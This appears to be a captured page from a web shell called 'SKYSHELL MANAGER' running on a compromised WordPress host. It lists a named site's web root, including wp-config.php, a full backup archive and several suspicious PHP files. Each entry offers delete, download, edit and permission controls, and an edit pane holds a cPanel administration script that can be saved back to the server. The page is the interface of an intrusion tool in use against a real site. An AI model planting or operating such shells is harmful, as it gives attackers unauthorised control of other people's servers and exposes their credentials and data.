📁
SKYSHELL MANAGER
PHP v8.3.31
Create
Create
Path:
root
/
home4
/
cvysxmmy
/
public_html
/
barriecorewellness.ca
/
Name
Size
Perm
Actions
📁
.well-known
-
0755
🗑️
🏷️
🔒
📁
blogs
-
0755
🗑️
🏷️
🔒
📁
css
-
0755
🗑️
🏷️
🔒
📁
img
-
0755
🗑️
🏷️
🔒
📁
mt_images
-
0755
🗑️
🏷️
🔒
📁
test
-
0755
🗑️
🏷️
🔒
📁
tmp
-
0755
🗑️
🏷️
🔒
📁
wp-admin
-
0755
🗑️
🏷️
🔒
📁
wp-content
-
0755
🗑️
🏷️
🔒
📁
wp-includes
-
0755
🗑️
🏷️
🔒
📄
.htaccess
2 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
.htaccess.phpupgrader.21100a0f
0.79 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
.htaccess.phpupgrader.initial
0.79 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
LEGGIMI.txt
0.39 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
backup-barriecore_dreamstoreality_ca-2014_03_24-full-mf6zx4edh7.zip
46075.72 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
error_log
300712 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
favicon.ico
17.13 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
importbuddy.php
2412.95 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
index (1).php
12.15 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
index.php
23 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
licencia.txt
17.51 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
licens-sv_SE.txt
13.95 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
licens.html
22.61 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
license.txt
19.44 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
licenza.html
24.3 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
liesmich.html
8.53 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
lisenssi.html
21.29 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
readme-ja.html
3.01 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
readme.html
7.25 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
robots.txt
0.1 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
seiso.php
53.35 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
ss.php
12.48 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-activate.php
7.18 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-blog-header.php
0.5 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-cli.yml
0.03 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-comments-post.php
2.27 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-config-sample.php
3.26 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-config.php
3.59 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-cron.php
5.49 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-links-opml.php
2.43 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-load.php
4 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-login.php
50.23 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-mail.php
8.52 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-settings.php
30.33 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-signup.php
33.71 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-trackback.php
5.09 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
xjq.txt
0 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
xmlrpc.php
3.13 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
Edit: modify_packages
#!/usr/local/cpanel/3rdparty/bin/perl # cpanel - scripts/modify_packages Copyright 2022 cPanel, L.L.C. # All rights reserved. # copyright@cpanel.net http://cpanel.net # This code is subject to the cPanel license. Unauthorized copying is prohibited use strict; use warnings; use Cpanel::Config::Constants ('DEFAULT_CPANEL_THEME'); use Cpanel::Logger (); use Cpanel::SafeFile (); use Cpanel::Themes::Utils (); use Whostmgr::ACLS (); use Whostmgr::Packages::Fetch (); use Whostmgr::Packages::Load (); use Getopt::Long (); my $logger = Cpanel::Logger->new(); $| = 1; if ( $> != 0 ) { $logger->die("Sorry, only root can use this script."); } my ( $theme, $packages, $help, $all_packages ); Getopt::Long::GetOptions( 'help' => \$help, 'theme=s' => \$theme, 'all-packages' => \$all_packages, 'packages=s' => \$packages ) || do { usage(); exit 1; }; if ($help) { usage(); exit; } unless ( $theme && ( $all_packages || $packages ) ) { usage(); exit 1; } my $theme_docroot = Cpanel::Themes::Utils::get_theme_root($theme); $logger->die( "The specified theme [" . $theme . "] does not exist." ) unless -d $theme_docroot; if ( !$ENV{'REMOTE_USER'} ) { $ENV{'REMOTE_USER'} = 'root'; } Whostmgr::ACLS::init_acls(); my @list_pkgs = (); my %pkgs = %{ Whostmgr::Packages::Fetch::fetch_package_list( 'want' => 'editable' ) }; my %valid_pkgs = (); if ($all_packages) { @list_pkgs = keys %pkgs; %valid_pkgs = map { ( $_ => $pkgs{$_} ) } @list_pkgs; } else { @list_pkgs = split( /\s*\,\s*/, $packages ); %valid_pkgs = map { exists( $pkgs{"$_"} ) ? ( $_ => $pkgs{$_} ) : () } @list_pkgs; } unless ( scalar( keys %valid_pkgs ) ) { $logger->die("No valid packages are specified."); } my %updated_pkgs = (); my $package_dir = Whostmgr::Packages::Load::package_dir(); foreach my $name ( keys %valid_pkgs ) { # Should not happen but just in case next unless -e $package_dir . $name; my $pkglock = Cpanel::SafeFile::safeopen( \*PKG, '+<', $package_dir . $name ); if ( !$pkglock ) { $logger->warn("Could not edit ${package_dir}$name"); next; } $updated_pkgs{$name} = 1; my %PKG_CONFIG = %{ $valid_pkgs{$name} }; seek( PKG, 0, 0 ); foreach my $pkgitem ( sort keys %PKG_CONFIG ) { next if !$pkgitem; next if ( $pkgitem eq '_PACKAGE_EXTENSIONS' ); my $line = qq{$pkgitem=$PKG_CONFIG{$pkgitem}}; $line =~ s/[\r\n]//g; if ( $pkgitem eq 'CPMOD' ) { $line = qq{$pkgitem=$theme}; } print PKG $line . "\n"; } print PKG qq{_PACKAGE_EXTENSIONS=$PKG_CONFIG{_PACKAGE_EXTENSIONS}\n} if $PKG_CONFIG{_PACKAGE_EXTENSIONS}; # _PACKAGE_EXTENSIONS last in file. truncate( PKG, tell(PKG) ); Cpanel::SafeFile::safeclose( \*PKG, $pkglock ); } # The default package may or may not have a file. my @failed_pkgs = grep { !$updated_pkgs{$_} && $_ ne 'default' } @list_pkgs; if ( scalar @failed_pkgs ) { $logger->warn( "Could not update these package(s): " . join( ', ', @failed_pkgs ) ); exit 1; } else { $logger->info("Packages are successfully updated."); exit 0; } sub usage { print <<"EOM"; $0: Modify existing packages to use a theme Usage: $0 --theme=$Cpanel::Config::Constants::DEFAULT_CPANEL_THEME [--packages=my_pkg,another_pkg|--all-packages] Options: --help: print usage and exit --theme: the theme to be adopted --packages: a list of packages to be modified, comma separated --all-packages: update all packages on the system EOM return; }
Save